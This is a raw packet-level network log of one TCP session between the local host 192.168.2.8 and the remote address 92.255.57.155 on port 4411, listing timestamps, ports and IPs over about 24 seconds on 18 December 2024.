Dec 18, 2024 08:16:43.993163109 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.038369894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.064574003 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.157206059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.157274961 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.187114000 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.252326012 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.255537033 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.255623102 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.276803970 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.276930094 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.375058889 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.375453949 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.437268972 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.437408924 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.556850910 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.566317081 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.571175098 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.733161926 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.733309031 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.748033047 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.852775097 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:44.852922916 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:44.972660065 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:46.158982038 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:46.278482914 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:46.591890097 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:46.593476057 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:46.712925911 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.065386057 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:47.185143948 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.498676062 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.500355005 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:47.619965076 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.620035887 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:47.740937948 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.753313065 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:47.872833967 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:47.872893095 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:47.992470980 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.049624920 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.112015963 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.169202089 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.169266939 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.289398909 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.303349972 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.305445910 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.360229969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.439868927 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.469264030 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.474790096 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.493884087 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.549206972 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.594330072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:48.595876932 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:48.715362072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.237050056 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.356612921 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.356658936 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.476739883 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.476803064 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.596296072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.596402884 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.669826984 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.715955973 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.716013908 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.835597992 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.835649014 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:49.860846043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.997245073 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:49.997342110 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.026813030 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.051920891 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.051995039 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.116897106 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.117012024 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.171597958 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.237025976 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.325196981 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.327274084 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.446924925 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.516103029 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.521845102 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.638150930 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.641364098 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.641544104 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.761132002 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.761244059 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:50.829185009 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.880808115 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:50.881934881 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.001571894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.119723082 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.121850967 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.241314888 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.241379023 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.360879898 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.393368006 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.512957096 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.513011932 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.632519007 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.632575035 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.752322912 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.752379894 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.761497974 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.846082926 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.913661003 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:51.913726091 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:51.944454908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.033220053 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.033356905 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.063076019 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.134540081 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.134608030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.193245888 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.193422079 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.254075050 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.254235029 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.313256025 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.313467979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.433336020 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.445895910 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.448688984 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.504580021 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.549858093 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.609426975 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.609713078 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.624346018 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.729275942 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.729516029 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:52.759401083 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:52.849859953 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.049230099 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.137454033 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.137496948 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.137643099 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.168926954 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.169296980 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.257293940 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.288781881 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.288830996 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.408265114 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.612123013 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.731662989 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.731753111 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.835046053 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.835103989 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.851231098 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.851285934 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.954683065 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.954755068 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:53.970736027 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:53.970792055 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.049025059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.049240112 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.074278116 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.074534893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.090270996 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.168993950 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.169050932 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.194015026 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.265642881 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.288650990 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.288794041 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.360678911 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.409127951 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.409287930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.480015993 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.528961897 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.529083967 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.596301079 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.648689985 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.648809910 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.670897961 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.752336979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.787277937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.787487030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:54.949203014 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:54.949423075 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:55.069746017 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:55.784014940 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:55.903759956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:55.971424103 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:56.091345072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.112101078 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:56.216871023 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.231717110 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.231810093 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:56.351308107 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.408744097 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.411401033 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:56.531789064 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.645107985 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:56.646506071 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:56.769304037 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:58.409894943 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:58.529447079 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:58.529565096 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:58.649218082 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:58.870136976 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.049870968 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.061120987 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.065875053 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.185307026 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.206286907 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.252048969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.325901985 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.325992107 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.445509911 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.445561886 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.565068960 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.668998957 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.669934034 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.789355040 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.789428949 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:59.909122944 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.958950996 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:59.959986925 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:00.079488993 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:00.273669004 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:00.274717093 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:00.394208908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.236984968 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.356506109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.356587887 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.476097107 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.476144075 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.595721006 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.643399954 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.670111895 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.762830973 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.762882948 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.861176014 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.861248970 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.882354975 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.882405996 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.953979969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.954035044 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:01.980761051 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:01.980808020 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.002038956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.073575020 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.073623896 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.100286007 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.171902895 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.193114042 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.193171024 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.312819004 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.389362097 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.390921116 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.503853083 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.506009102 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.510375977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.513982058 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.616247892 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.617991924 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.625515938 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.625962973 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.633534908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.694848061 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.745439053 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.745950937 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.865461111 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:02.866030931 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:02.985683918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:03.333935022 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:03.336704016 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:03.456423998 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.049604893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.169226885 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.169316053 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.288841963 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.288942099 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.408488035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.482711077 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.485524893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.604988098 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.673767090 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.677903891 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.796252012 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.797384977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.797631025 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.917180061 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:04.917390108 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:04.987324953 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.038024902 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.038137913 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.157685041 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.157821894 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.278557062 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.315635920 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.436527014 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.436584949 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.448643923 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.506243944 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.597114086 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.597167015 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.716687918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.739583969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.740808964 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:05.901119947 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.907965899 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:05.959867001 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:06.051605940 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:06.079432011 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:06.079474926 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:06.199028969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:06.242552996 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:06.253885984 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:06.373397112 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:06.748071909 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:06.867703915 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.181318045 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.189081907 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.308634043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.308692932 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.428244114 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.428307056 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.547929049 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.548074007 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.667562962 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.721492052 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.799700975 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.799793005 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.841037035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.841124058 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:07.919260025 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.960628033 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.993772984 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:07.994625092 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:08.157068014 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:08.184853077 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:08.185709000 CET	49708	4411	192.168.2.8	92.255.57.155
